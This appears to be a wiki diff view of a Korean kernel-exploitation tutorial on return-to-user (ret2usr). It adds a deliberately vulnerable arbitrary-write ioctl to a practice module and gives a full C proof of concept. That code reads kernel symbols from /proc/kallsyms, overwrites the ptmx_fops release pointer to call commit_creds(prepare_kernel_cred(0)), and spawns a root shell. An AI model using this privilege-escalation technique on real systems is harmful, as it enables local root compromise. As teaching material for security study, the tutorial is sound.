Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Return-to-user (ret2usr)

Example

Source code of module

  • 해당 코드는 04.Creating a kernel module to privilege escalation 에서 사용한 코드에 다음 코드를 추가하였습니다.
  • 추가된 코드는 다음과 같습니다.
    • chardev_ioctl() 함수의 switch 분기문에 IOCTL_WWW를 추가하였습니다.
    • 해당 분기문에서 chardev_ioctl() 함수의 세번째 인자값(arg)을 ioctl_www_arg 구조체로 형변환하여 para 변수에 값을 저장합니다.
    • para→ptr 주소 영역에 para→value의 값을 저장합니다.

      • 해당 코드로 인하여 공격자가 임의의 영역에 임이의 값을 저장할 수 있게됩니다.

...

Code Block
titleRegister a module
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Kernel/Exploit/www$

...

Proof of Concept

PoC code

  • 취약성을 확인하기 위해 test.c를 사용하며, 기능은 다음과 같습니다.

    • "/dev/chardev0" 디바이스 파일을 열어서, ioctl함수를 이용하여 "IOCTL_WWW" 매크로를 호출합니다.

    • 해당 매크로에 전달된 인자 값은 다음과 같습니다.
      • arg.ptr = 0x4141414141414141
      • arg.value = 0x4242424242424242
    • 0x4141414141414141 영역에 0x4242424242424242 값을 덮어서 쓸 수 있는지 확인하려고 합니다.

...

Code Block
languagecpp
titlepocwww.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "chardev.h"
 
#define DEVICE_FILE_NAME "/dev/chardev0"

void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;
unsigned long *ptmx_fops_release;
 
void *kallsym_getaddr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];
 
    fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0) {
            break;
        }else{
	    addr = NULL;
	}
    }
    fclose(fp);
    return addr;
}
 
void get_root()
{
    commit_creds(prepare_kernel_cred(NULL));
}
 
int main()
{
    int fd;
    int ret_val;
    void *ptmx_fops;
    struct ioctl_www_arg arg;
 
    //Find the address of "prepare_kernel_cred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }

    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }

    printf("prepare_kernel_cred = %p\n", prepare_kernel_cred);
    printf("commit_creds = %p\n", commit_creds);

  
    //Find the address of "static struct file_operations ptmx_fops"
    ptmx_fops = kallsym_getaddr("ptmx_fops");
    printf("ptmx_fops = %p\n", ptmx_fops);
    ptmx_fops_release = ptmx_fops + sizeof(void *) * 13;
 
    fd = open(DEVICE_FILE_NAME, 0);
    if (fd < 0) {
        printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
        return 0;
    }

    //Overwrite the "ptmx_fops → release" area 
    arg.ptr = ptmx_fops_release;
    arg.value = (unsigned long)get_root;
 
    ret_val = ioctl(fd, IOCTL_WWW, &arg);
    if (ret_val < 0) {
        printf("ioctl failed: %d\n", ret_val);
        return 0;
    }
 
    close(fd);
 
    //open /dev/ptmx and call ptmx_fops->release() via close()
    fd = open("/dev/ptmx", 0);
    close(fd);
 
    printf("getuid() = %d\n", getuid());
    execl("/bin/sh", "sh", NULL);
}

...